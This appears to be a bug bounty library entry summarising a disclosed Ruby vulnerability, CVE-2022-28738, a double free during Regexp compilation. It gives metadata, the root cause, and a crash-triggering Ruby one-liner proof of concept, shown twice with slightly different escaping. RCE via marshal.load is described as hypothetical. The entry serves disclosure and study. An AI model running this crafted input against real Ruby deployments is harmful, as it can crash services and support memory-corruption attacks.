# CVE-2022-28738: Double free in Regexp compilation

Crafted Regexp source string triggers a double free during Ruby regexp compilation, potentially enabling RCE when chained with marshal.load.

- Payout: $4,000
- Severity: high
- Program: Internet Bug Bounty
- Found by: piao
- Disclosed: 2022-05-28
- CVE: CVE-2022-28738
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1549636
- Library page: https://bugbountylibrary.com/r/h1%3A1549636
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:high tech:ruby technique:fuzzing vuln:memory-corruption vuln:rce

**Target:** Regexp compiler in Ruby interpreter
**Root cause:** A bug in the Regexp compilation process causes the same memory to be freed twice when compiling a Regexp object built from a crafted source string.
**Steps:**
1. Run the PoC: `ruby -e '/(\x15\x17\xE2\xF5\xF5\xF5\xC2\x04\x08J,\x00\xD0\x00\x00(?(1)\xF5\xF5\xF5\xD7\xF5\xF5\xF5\x87\x04\xFA555\xBEJ,\x18FF\x15\xFF|\x03\x01\x00\x01\x00\x00\x8F
|)44\x00\x8F
|)+/m'`
2. The crafted regexp source triggers a double free during compilation.
**Exploitation:** Not demonstrated; report states it may lead to RCE when combined with marshal.load.
**Escalation:** Chaining with marshal.load to convert the double free into RCE (hypothetical, not shown).
**Insight:** Regexp compilation of attacker-controlled source strings is a memory-safety surface in Ruby; fuzzing regexp source with malformed conditional/group constructs can surface double frees.

## Proof of concept (copied exactly from the original report)

**Ruby one-liner triggering double free in Regexp**

```
ruby -e '/(\\x15\\x17\\xE2\\xF5\\xF5\\xF5\\xC2\\x04\\x08J,\\x00\\xD0\\x00\\x00(?(1)\\xF5\\xF5\\xF5\\xD7\\xF5\\xF5\\xF5\\x87\\x04\\xFA555\\xBEJ,\\x18FF\\x15\\xFF|\\x03\\x01\\x00\\x01\\x00\\x00\\x8F\r|)44\\x00\\x8F\r|)+/m'
```